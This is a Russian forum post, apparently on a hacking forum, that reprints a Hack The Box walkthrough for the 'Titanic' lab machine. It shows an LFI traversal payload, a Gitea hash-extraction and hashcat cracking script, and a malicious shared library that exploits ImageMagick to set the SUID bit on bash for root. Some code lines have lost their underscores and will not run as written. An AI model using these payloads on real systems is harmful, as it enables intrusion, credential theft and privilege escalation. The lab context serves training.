• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Эксплуатируем RCE в ImageMagick

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как можно использовать уязвимую версию ImageMagick для выполнения кода в Linux от имени рута. Однако сначала нам потребуется проэксплуатировать LFI и добыть данные из базы Gitea, чтобы получить оболочку на сервере.
Наша цель — получение прав суперпользователя на машине Titanic с учебной площадки Для просмотра ссылки Войди или Зарегистрируйся. Уровень задания — легкий.

warning​

Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.

Разведка​


Сканирование портов​

Добавляем IP-адрес машины в /etc/hosts:

10.10.11.55 titanic.htb
И запускаем сканирование портов.

Справка: сканирование портов​

Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Результат работы скрипта
Сканер нашел два открытых порта:

  • 22 — служба OpenSSH 8.9p1;
  • 80 — веб‑сервер Apache 2.4.52.
С SSH мы пока что ничего сделать не можем, поэтому начинаем с веб‑сервера.

Главная страница сайта
Главная страница сайта

Точка входа​

В меню сайта ничего интересного, поэтому воспользуемся единственной доступной на данный момент функцией Book Your Trip.

Форма Book Your Trip
Форма Book Your Trip
Заполняем форму тестовыми данными и нажимаем кнопку Submit. В этот момент загружается какой‑то JSON-файл.

Загрузка файла
Загрузка файла

Просмотрим, как этот процесс выглядит в Burp Proxy. Данные из формы отправляются POST-запросом на страницу /book, после чего происходит редирект на страницу /download. Файл для скачивания указан в параметре ticket.

Запрос в Burp Proxy
Запрос в Burp Proxy

Проверим, нет ли здесь уязвимости LFI — локального включения файлов. Для этого через Burp Repeater выполним запрос на страницу /download и в параметре ticket укажем файл /etc/passwd с обходом каталога.

Содержимое файла /etc/passwd
Содержимое файла /etc/passwd

info​

Подробнее о принципах работы LFI читай в статье «Для просмотра ссылки Войди или Зарегистрируйся».
Уязвимость присутствует, а значит, мы можем читать произвольные файлы. Так как в качестве веб‑сервера используется приложение на Python, первым делом где‑то рядом с текущим каталогом поищем характерный для таких проектов файл app.py — основной файл приложения.

Содержимое файла app.py
Содержимое файла app.py

Если выполнить запрос на веб‑сервер не по доменному имени, а по IP, в ответе в заголовке Server будет отмечен веб‑сервер Apache.

Данные запроса и ответа
Данные запроса и ответа

Так как Apache перенаправляет запросы, проверим стандартный для него конфиг /etc/apache2/sites-enabled/000-default.conf. Однако новых сайтов мы там не обнаружим.

Содержимое файла 000-default.conf
Содержимое файла 000-default.conf

Мы знаем доменное имя, попробуем подобрать поддомены.

Справка: сканирование веба c ffuf​

Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки Войди или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся.
Я предпочитаю легкий и очень быстрый Для просмотра ссылки Войди или Зарегистрируйся. При запуске указываем следующие параметры:
  • -u — URL;
  • -H — HTTP-заголовок;
  • -w — словарь (я использую словари из набора Для просмотра ссылки Войди или Зарегистрируйся);
  • -t — количество потоков.
Место перебора помечается словом FUZZ.
Чтобы в выводе не отображались все варианты из словаря, нужно установить фильтр. В нашем случае фильтровать можем по коду ответа сервера (параметр -fс).

Собираем всё вместе и запускаем:

ffuf -u [URL]http://titanic.htb[/URL] -H 'Host: FUZZ.titanic.htb' -w subdomains-top1million-110000.txt -t 128 -fc 301
Для просмотра ссылки Войди или Зарегистрируйся

Точка опоры​

Мы нашли новый сайт, для доступа к которому обновим запись в файле /etc/hosts. При обновлении страницы нас встретит сервис Gitea.

10.10.11.55 titanic.htb dev.titanic.htb
Главная страница сайта

Главная страница сайта


Посмотрим доступные репозитории. Их два: docker-config и flask-app.

Репозитории Gitea
Репозитории Gitea

В репозитории docker-config находим файл docker-compose.yml. Там есть учетные данные для подключения к базе данных.

Содержимое файла docker-compose.yml
Содержимое файла docker-compose.yml

Пароль никуда не подошел, однако, если просмотреть историю коммитов, в одном из них найдем каталог /home/developer/gitea, где развернут Gitea.

Содержимое файла docker-compose.yml
Содержимое файла docker-compose.yml

Попробуем добраться до файла базы данных Gitea. Тут нам поможет найденная ранее уязвимость LFI. Получим файл по следующему URL-эндпоинту:

/download?ticket=../../../../../../../home/developer/gitea/data/gitea/gitea.db
Откроем файл базы данных в Для просмотра ссылки Войди или Зарегистрируйся и просмотрим данные из таблицы user.

Содержимое таблицы user
Содержимое таблицы user
Осталось пробрутить хеши и получить пароли пользователей Gitea. В этом нам поможет Для просмотра ссылки Войди или Зарегистрируйся в блоге unix-ninja.

Из базы нам нужно получить значения iterations, salt и hash, представить в формате pbkdf2-sha256:$iterations:$salt:$hash и передать в приведенный ниже скрипт для преобразования в формат hashcat.

Код:
#!/usr/bin/python3
# Converts gitea PBKDF2-HMAC-SHA256 hashes into a format hashcat can use
# written by unix-ninja

import argparse
import base64
import sys

def convert_hash(hash_string):
    """Converts a SALT+HASH string to a hashcat compatible format,
       ensuring the smaller input is treated as the salt.
       Use : or | as delimeters.
    """
    hash_string = hash_string.replace('|', ':')
    try:
        part1, part2 = hash_string.split(":")
    except ValueError:
        print(f"[-] Invalid input format: {hash_string}")
        return None

    try:
        bytes1 = bytes.fromhex(part1)
        bytes2 = bytes.fromhex(part2)
    except ValueError:
      print(f"[-] Invalid hex input: {hash_string}")
      return None

    # If lengths are equal, we will maintain the original order
    if len(bytes1) > len(bytes2):
        salt_bytes = bytes2
        hash_bytes = bytes1
    else:
        salt_bytes = bytes1
        hash_bytes = bytes2


    salt_b64 = base64.b64encode(salt_bytes).decode('utf-8')
    hash_b64 = base64.b64encode(hash_bytes).decode('utf-8')

    return f"sha256:50000:{salt_b64}:{hash_b64}"


def main():
    parser = argparse.ArgumentParser(description="Convert Gitea SALT+HASH strings to a hashcat-compatible format.",
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""Example:
    gitea2hashcat.py <salt1>:<hash1> <hash2>|<salt2> ... or pipe input from stdin.

    You can also dump output straight from sqlite into this script:
        sqlite3 gitea.db 'select salt,passwd from user;' | gitea2hashcat.py""")
    parser.add_argument('hashes', nargs='*', help='SALT+HASH strings to convert')
    args = parser.parse_args()

    # ... (rest of the main function remains the same)
    print("[+] Run the output hashes through hashcat mode 10900 (PBKDF2-HMAC-SHA256)")
    print()

    if args.hashes:
        # Process command-line arguments
        for hash_string in args.hashes:
            converted_hash = convert_hash(hash_string)
            if converted_hash:
                print(converted_hash)

    else:
        # Process input from stdin
        for line in sys.stdin:
            hash_string = line.strip()  # Remove leading/trailing whitespace
            converted_hash = convert_hash(hash_string)
            if converted_hash:
                print(converted_hash)


if name == "main":
    main()

Преобразование хеша в формат hashcat
Преобразование хеша в формат hashcat
Полученное значение сохраняем в файл и отдаем хешкету, при этом указываем режим 10900.

hashcat -m 10900 hash.txt rockyou.txt
Результат подбора пароля
Результат подбора пароля

С полученными учетными данными авторизуемся по SSH и забираем первый флаг.

Флаг пользователя
Флаг пользователя

Локальное повышение привилегий​

Теперь нам необходимо собрать информацию о системе. Я буду использовать для этого скрипты PEASS.

Справка: скрипты PEASS​

Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки Войди или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, поэтому ищем только то, что сможет нам помочь.

Члены группы developer (а мы в нее входим) имеют право записи в каталоги /opt/app/tickets и /opt/app/static/assets/images.

Доступные для записи каталоги
Доступные для записи каталоги

Среди добавленных пользователем исполняемых файлов есть скрипт /opt/scripts/identify_images.sh.

Исполняемые файлы, добавленные пользователем
Исполняемые файлы, добавленные пользователем

Посмотрим содержимое найденного скрипта. Из интересного разве что запуск в скрипте утилиты magick, но это можно использовать.

Содержимое файла identify_images.sh
Содержимое файла identify_images.sh

Это утилита из пакета ImageMagick. Давай проверим его версию.

Версия ImageMagick
Версия ImageMagick

На сервере установлена версия 7.1.1-35. Возможно, для нее есть готовые публичные эксплоиты. Поищем их.

Поиск эксплоитов в Google
Поиск эксплоитов в Google

Для просмотра ссылки Войди или Зарегистрируйся из Google приводит нас к интересной информации: ImageMagick до версии 7.1.1-36 имеет уязвимость Для просмотра ссылки Войди или Зарегистрируйся.

ImageMagick может использовать пустой путь при установке переменных среды MAGICK_CONFIGURE_PATH и LD_LIBRARY_PATH, что способно привести к выполнению произвольного кода путем загрузки произвольных конфигов или библиотек из рабочего каталога во время выполнения ImageMagick.

Сделаем свою библиотеку libxcb.so.1 в каталоге /opt/app/static/assets/images/. В коде будем просто назначать файлу командной оболочки S-бит.

Код:
#include <stdio.h>
#include <stdlib.h>
attribute((constructor)) void init(){
    system("chmod u+s /bin/bash");
    exit(0);
}
gcc -x c -shared -fPIC -o /opt/app/static/assets/images/libxcb.so.1 expl.c

Эксплуатация уязвимости
Эксплуатация уязвимости

Справка: бит SUID​

Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю.
Теперь мы можем выполнить /bin/bash в контексте пользователя root.

/bin/bash -p
Флаг рута
Флаг рута

Машина захвачена!
 
Activity
So far there's no one here
Сверху Снизу